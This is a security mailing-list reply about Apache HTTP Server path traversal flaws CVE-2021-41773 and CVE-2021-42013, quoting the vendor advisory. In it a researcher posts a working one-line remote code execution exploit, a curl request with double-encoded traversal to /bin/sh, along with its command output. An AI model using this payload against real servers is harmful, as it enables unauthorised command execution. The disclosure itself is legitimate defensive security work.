Re: CVE-2021-42013: Path Traversal and Remote Code Execution in Apache HTTP Server 2.4.49 and 2.4.50 (incomplete fix of CVE-2021-41773)

                							

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Re: CVE-2021-42013: Path Traversal and Remote Code Execution in Apache HTTP Server 2.4.49 and 2.4.50 (incomplete fix of CVE-2021-41773)

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From: Roman Medina-Heigl Hernandez &lt;roman () rs-labs com&gt;

Date: Fri, 8 Oct 2021 03:18:14 +0200

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Hi,

I posted RCE exploit for this (it works for both CVEs: 41773 &amp; 42013)
and some other details regarding requirements / exploitability, which
you may find useful at:

https://twitter.com/roman_soft/status/1446252280597078024

Excerpt (for the sake of ml-archive):

RCE exploit both for Apache 2.4.49 (CVE-2021-41773) and 2.4.50
(CVE-2021-42013): root@CT406:~# curl
'http://192.168.0.191/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh&amp;apos;
--data 'echo Content-Type: text/plain; echo; id' uid=1(daemon)
gid=1(daemon) groups=1(daemon)

Cheers.

-r

El 07/10/2021 a las 17:24, Stefan Eissing escribió:
Severity: critical

Description:

It was found that the fix for CVE-2021-41773 in Apache HTTP Server 2.4.50 was insufficient. An attacker could use a 
path traversal attack to map URLs to files outside the directories configured by Alias-like directives.  

If files outside of these directories are not protected by the usual default configuration "require all denied", 
these requests can succeed. If CGI scripts are also enabled for these aliased pathes, this could allow for remote 
code execution.

This issue only affects Apache 2.4.49 and Apache 2.4.50 and not earlier versions.

Credit:

Reported by Juan Escobar from Dreamlab Technologies, Fernando Muñoz from NULL Life CTF Team, and Shungo Kumasaka

-- 
Saludos,
-Román

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Current thread:

CVE-2021-42013: Path Traversal and Remote Code Execution in Apache HTTP Server 2.4.49 and 2.4.50 (incomplete fix of CVE-2021-41773) Stefan Eissing (Oct 07)

Re: CVE-2021-42013: Path Traversal and Remote Code Execution in Apache HTTP Server 2.4.49 and 2.4.50 (incomplete fix of CVE-2021-41773) Roman Medina-Heigl Hernandez (Oct 07)

Re: CVE-2021-42013: Path Traversal and Remote Code Execution in Apache HTTP Server 2.4.49 and 2.4.50 (incomplete fix of CVE-2021-41773) Yann Ylavic (Oct 08)

Re: CVE-2021-42013: Path Traversal and Remote Code Execution in Apache HTTP Server 2.4.49 and 2.4.50 (incomplete fix of CVE-2021-41773) Solar Designer (Oct 08)
Re: CVE-2021-42013: Path Traversal and Remote Code Execution in Apache HTTP Server 2.4.49 and 2.4.50 (incomplete fix of CVE-2021-41773) Yann Ylavic (Oct 08)
Re: CVE-2021-42013: Path Traversal and Remote Code Execution in Apache HTTP Server 2.4.49 and 2.4.50 (incomplete fix of CVE-2021-41773) Solar Designer (Oct 08)
Re: CVE-2021-42013: Path Traversal and Remote Code Execution in Apache HTTP Server 2.4.49 and 2.4.50 (incomplete fix of CVE-2021-41773) Yann Ylavic (Oct 08)

Re: CVE-2021-42013: Path Traversal and Remote Code Execution in Apache HTTP Server 2.4.49 and 2.4.50 (incomplete fix of CVE-2021-41773) Roman Medina-Heigl Hernandez (Oct 09)
Re: CVE-2021-42013: Path Traversal and Remote Code Execution in Apache HTTP Server 2.4.49 and 2.4.50 (incomplete fix of CVE-2021-41773) Yann Ylavic (Oct 11)
Re: CVE-2021-42013: Path Traversal and Remote Code Execution in Apache HTTP Server 2.4.49 and 2.4.50 (incomplete fix of CVE-2021-41773) Roman Medina-Heigl Hernandez (Oct 15)
Re: CVE-2021-42013: Path Traversal and Remote Code Execution in Apache HTTP Server 2.4.49 and 2.4.50 (incomplete fix of CVE-2021-41773) Yann Ylavic (Oct 15)

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